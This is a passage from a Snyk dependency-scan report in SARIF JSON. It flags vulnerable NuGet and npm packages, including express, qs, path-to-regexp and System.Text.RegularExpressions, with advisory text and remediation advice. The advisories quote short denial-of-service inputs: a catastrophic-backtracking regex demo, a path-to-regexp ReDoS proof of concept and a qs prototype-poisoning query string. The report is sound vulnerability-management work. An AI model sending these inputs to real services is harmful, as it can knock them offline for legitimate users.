Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Xml.ReaderWriter@4.3.0 › System.Text.RegularExpressions@4.3.0\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › System.Xml.XmlDocument@4.3.0 › System.Xml.ReaderWriter@4.3.0 › System.Text.RegularExpressions@4.3.0\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Xml.XDocument@4.3.0 › System.Xml.ReaderWriter@4.3.0 › System.Text.RegularExpressions@4.3.0\n# Overview\n\n[System.Text.RegularExpressions](https://www.nuget.org/packages/System.Text.RegularExpressions/) is a regular expression engine.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\ndue to improperly processing of RegEx strings.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `System.Text.RegularExpressions` to version 4.3.1 or higher.\n\n\n# References\n\n- [GitHub Issue](https://github.com/dotnet/announcements/issues/111)\n\n- [Microsoft Security Advisory](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0820)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "nuget"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - } - ] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/tpwe/2025-11-13T12:34:30.244Z" - }, - "results": [ - { - "ruleId": "SNYK-DOTNET-SYSTEMNETHTTP-60045", - "level": "error", - "message": { - "text": "This file introduces a vulnerable System.Net.Http package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "dotnet/obj/project.assets.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "System.Net.Http@4.3.0" - } - ] - } - ] - }, - { - "ruleId": "SNYK-DOTNET-SYSTEMNETHTTP-60046", - "level": "error", - "message": { - "text": "This file introduces a vulnerable System.Net.Http package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "dotnet/obj/project.assets.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "System.Net.Http@4.3.0" - } - ] - } - ] - }, - { - "ruleId": "SNYK-DOTNET-SYSTEMNETHTTP-60047", - "level": "error", - "message": { - "text": "This file introduces a vulnerable System.Net.Http package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "dotnet/obj/project.assets.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "System.Net.Http@4.3.0" - } - ] - } - ] - }, - { - "ruleId": "SNYK-DOTNET-SYSTEMNETHTTP-60048", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable System.Net.Http package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "dotnet/obj/project.assets.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "System.Net.Http@4.3.0" - } - ] - } - ] - }, - { - "ruleId": "SNYK-DOTNET-SYSTEMNETHTTP-72439", - "level": "error", - "message": { - "text": "This file introduces a vulnerable System.Net.Http package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "dotnet/obj/project.assets.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "System.Net.Http@4.3.0" - } - ] - } - ] - }, - { - "ruleId": "SNYK-DOTNET-SYSTEMTEXTREGULAREXPRESSIONS-174708", - "level": "error", - "message": { - "text": "This file introduces a vulnerable System.Text.RegularExpressions package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "dotnet/obj/project.assets.json" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "System.Text.RegularExpressions@4.3.0" - } - ] - } - ] - } - ] - }, - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 23 - }, - "rules": [ - { - "id": "SNYK-JS-COOKIE-8163060", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in cookie" - }, - "fullDescription": { - "text": "(CVE-2024-47764) cookie@0.1.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: cookie\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › cookie@0.1.0\n# Overview\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie `name`, `path`, or `domain`, which can be used to set unexpected values to other cookie fields.\r\n\r\n# Workaround\r\nUsers who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `cookie` to version 0.7.0 or higher.\n# References\n- [GitHub Commit](https://github.com/jshttp/cookie/commit/e10042845354fea83bd8f34af72475eed1dadf5c)\n- [GitHub PR](https://github.com/jshttp/cookie/pull/167)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2316549)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 6.3, - "security-severity": "6.3" - } - }, - { - "id": "SNYK-JS-EXPRESS-6474509", - "shortDescription": { - "text": "Medium severity - Open Redirect vulnerability in express" - }, - "fullDescription": { - "text": "(CVE-2024-29041) express@4.0.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: express\n* Introduced through: package.json@* and express@4.0.0\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0\n# Overview\n[express](https://github.com/expressjs/express) is a minimalist web framework.\n\nAffected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using `encodeurl` before passing it to the `location` header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.\n# Remediation\nUpgrade `express` to version 4.19.2, 5.0.0-beta.3 or higher.\n# References\n- [Github Commit](https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94)\n- [GitHub Commit](https://github.com/expressjs/express/commit/0867302ddbde0e9463d0564fea5861feb708c2dd)\n- [Github Issue](https://github.com/koajs/koa/issues/1800)\n- [GitHub PR](https://github.com/expressjs/express/pull/5551)\n" - }, - "properties": { - "tags": ["security", "CWE-601", "npm"], - "cvssv3_baseScore": 6.1, - "security-severity": "6.1" - } - }, - { - "id": "SNYK-JS-EXPRESS-7926867", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting vulnerability in express" - }, - "fullDescription": { - "text": "(CVE-2024-43796) express@4.0.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: express\n* Introduced through: package.json@* and express@4.0.0\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0\n# Overview\n[express](https://github.com/expressjs/express) is a minimalist web framework.\n\nAffected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the `response.redirect` method. An attacker can execute arbitrary code by passing malicious input to this method.\r\n\r\n\r\n**Note**\r\n\r\nTo exploit this vulnerability, the following conditions are required:\r\n\r\n1) The attacker should be able to control the input to `response.redirect()`\r\n\r\n2) express must not redirect before the template appears\r\n\r\n3) the browser must not complete redirection before:\r\n\r\n4) the user must click on the link in the template\n# Remediation\nUpgrade `express` to version 4.20.0, 5.0.0 or higher.\n# References\n- [GitHub Commit](https://github.com/expressjs/express/commit/54271f69b511fea198471e6ff3400ab805d6b553)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 5.1, - "security-severity": "5.1" - } - }, - { - "id": "npm:express:20140912", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in express" - }, - "fullDescription": { - "text": "(CVE-2014-6393) express@4.0.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: express\n* Introduced through: package.json@* and express@4.0.0\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0\n# Overview\r\n[`express`](https://www.npmjs.com/package/express) is a minimalist web framework.\r\n\r\nAffected versions of this package do not enforce the user's browser to set a specific charset in the content-type header while displaying 400 level response messages. This could be used by remote attackers to perform a cross-site scripting attack, by using non-standard encodings like UTF-7.\r\n\r\n# Details\r\n<>\r\n\r\n\r\n# Recommendations\r\nUpdate express to `3.11.0`, `4.5.0` or higher.\r\n\r\n# References\r\n- [GitHub release 3.11.0](https://github.com/expressjs/express/releases/tag/3.11.0)\r\n- [GitHub release 4.5.0](https://github.com/expressjs/express/releases/tag/4.5.0)" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-JS-PATHTOREGEXP-7925106", - "shortDescription": { - "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in path-to-regexp" - }, - "fullDescription": { - "text": "(CVE-2024-45296) path-to-regexp@0.1.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: path-to-regexp\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › path-to-regexp@0.1.2\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression `/^\\/([^\\/]+?)-([^\\/]+?)\\/?$/`, if two parameters within a single segment are separated by a character other than a `/` or `.`. Poor performance will block the event loop and can lead to a DoS.\r\n\r\n**Note:**\r\nWhile the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the `strict` option, which returns an error if a dangerous regular expression is detected.\r\n\r\n# Workaround\r\nThis vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes `-` and `/`.\n# PoC\n```js\r\n/a${'-a'.repeat(8_000)}/a\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `path-to-regexp` to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.\n# References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/f73ec6c86b06f544b977119c2b62a16de480a6a9)\n- [Strict Mode Release Note](https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0)\n- [Vulnerability Write-up](https://blakeembrey.com/posts/2024-09-web-redos/)\n" - }, - "properties": { - "tags": ["security", "CWE-1333", "npm"], - "cvssv3_baseScore": 6.9, - "security-severity": "6.9" - } - }, - { - "id": "SNYK-JS-PATHTOREGEXP-8482416", - "shortDescription": { - "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in path-to-regexp" - }, - "fullDescription": { - "text": "(CVE-2024-52798) path-to-regexp@0.1.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: path-to-regexp\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › path-to-regexp@0.1.2\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, when the separator is not `.` (e.g. no `/:a-:b`). Poor performance will block the event loop and can lead to a DoS.\r\n\r\n**Note:**\r\n\r\nThis issue is caused due to an incomplete fix for [CVE-2024-45296](https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-7925106).\r\n\r\n# Workarounds\r\n\r\nThis can be mitigated by avoiding using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, the regex used for both parameters can be defined to ensure they do not overlap to allow backtracking.\n# PoC\n```js\r\n/a${'-a'.repeat(8_000)}/a\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `path-to-regexp` to version 0.1.12 or higher.\n# References\n- [Blog Post](https://blakeembrey.com/posts/2024-09-web-redos)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/f01c26a013b1889f0c217c643964513acf17f6a4)\n" - }, - "properties": { - "tags": ["security", "CWE-1333", "npm"], - "cvssv3_baseScore": 6.9, - "security-severity": "6.9" - } - }, - { - "id": "SNYK-JS-QS-3153490", - "shortDescription": { - "text": "High severity - Prototype Poisoning vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2022-24999) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › qs@0.6.6\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.\r\n\r\n**Note:** In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as `a[__proto__]=b&a[__proto__]&a[length]=100000000`.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `qs` to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.\n# References\n- [GitHub PR](https://github.com/ljharb/qs/pull/428)\n- [RedHat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2150323)\n- [Researcher Advisory](https://github.com/n8tz/CVE-2022-24999)\n" - }, - "properties": { - "tags": ["security", "CWE-1321", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "npm:qs:20140806", - "shortDescription": { - "text": "High severity - Denial of Service (DoS) vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2014-7191) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › qs@0.6.6\n# Overview\n\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\n\nAffected versions of this package are vulnerable to Denial of Service (DoS).\nDuring parsing, the `qs` module may create a sparse area (an array where no elements are filled), and grow that array to the necessary size based on the indices used on it. An attacker can specify a high index value in a query string, thus making the server allocate a respectively big array. Truly large values can cause the server to run out of memory and cause it to crash - thus enabling a Denial-of-Service attack.\n\n# Remediation\n\nUpgrade `qs` to version 1.0.0 or higher.\n\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\r\n\r\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\r\n\r\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\r\n\r\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\r\n\r\nTwo common types of DoS vulnerabilities:\r\n\r\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\r\n\r\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](npm:ws:20171108)\n\n# References\n\n- [GitHub Commit](https://github.com/tj/node-querystring/pull/114/commits/43a604b7847e56bba49d0ce3e222fe89569354d8)\n\n- [GitHub Issue](https://github.com/visionmedia/node-querystring/issues/104)\n\n- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2014-7191)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "npm:qs:20140806-1", - "shortDescription": { - "text": "Medium severity - Denial of Service (DoS) vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2014-10064) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › qs@0.6.6\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). When parsing a string representing a deeply nested object, qs will block the event loop for long periods of time. Such a delay may hold up the server's resources, keeping it from processing other requests in the meantime, thus enabling a Denial-of-Service attack.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, 